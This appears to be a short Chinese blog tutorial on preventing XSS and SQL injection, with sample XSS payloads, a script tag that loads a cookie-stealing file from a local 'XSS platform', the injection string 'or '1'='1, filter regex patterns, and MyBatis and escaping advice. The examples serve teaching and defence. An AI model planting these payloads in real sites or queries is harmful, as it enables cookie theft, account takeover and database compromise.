XXS和SQL注入的预防

时间:2022-06-06 01:27:05

XSS:跨站脚本攻击
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的

常见的恶意字符XSS输入:
1. XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框
攻击方式:
如在界面输入框恶意输入代码 <script>alert(document.cookie);</script>
如果希望将这个cookie发到自己的xss平台,可以构造如下输入:
<script src="http://127.0.0.1:9999/static/get.js"></script>
get.js里面加入CookieHelper.getCookie(‘password‘).value获取用户名密码等
2. XSS 输入也可能是 HTML 代码段,譬如:
(1) 网页不停地刷新 <meta http-equiv="refresh" content="0;">
(2) 嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>

实施XSS攻击需要具备两个条件:
1:需要向web页面注入恶意代码;
2:这些恶意代码能够被浏览器成功的执行

根据XSS攻击的效果可以分为几种类型:
1:XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
2:XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性

XSS攻击能做些什么:
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等
在一个表单文本框中写”> 提交表单时,会把文本中的字符当做script 代码解析出来。这个漏洞可用于钓鱼攻击或者窃取用户cookie 。从而登录他人账户。所以要对用户输入的信息进行校验,如果输入非法字符,要对其进行过滤或者提醒
解决方法:
1.在表单提交或者url参数传递前,对需要的参数进行过滤
在项目的web.xml配置filter过滤器 做一些正则表达式的检擦过滤
<!-- 匹配含有字符: alert( ) -->
<!-- 匹配含有字符: window.location = -->
<!-- 匹配含有字符: document.cookie -->
<!-- 匹配含有字符: eval( ) -->
<!-- 匹配含有字符: 含有一个符号: "或‘ -->
<!-- 匹配含有字符: <script> </script> -->
2.过滤用户输入的 检查用户输入的内容中是否有非法内容。(对特殊字符如”<”,”>”转义)
如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、 (加号)等。、严格控制输出

sql注入 (‘%)
URL注入 在后台请求 数据库执行的SQL语句 在URL中嵌入恶意表达式‘or ‘1‘=‘1
防止SQL注入:
mybaits可以通过$ 改用# (因为MyBatis启用了预编译功能,#{}是经过预编译的,是安全的;${}是未经过预编译的
使用存储过程:动态SQL在应用程序中组装,之后被发送给数据库执行
处理敏感数据:通过验签、口令等(登录时通过用户提供的信息计算出来的加盐哈希与数据库中的哈希比较)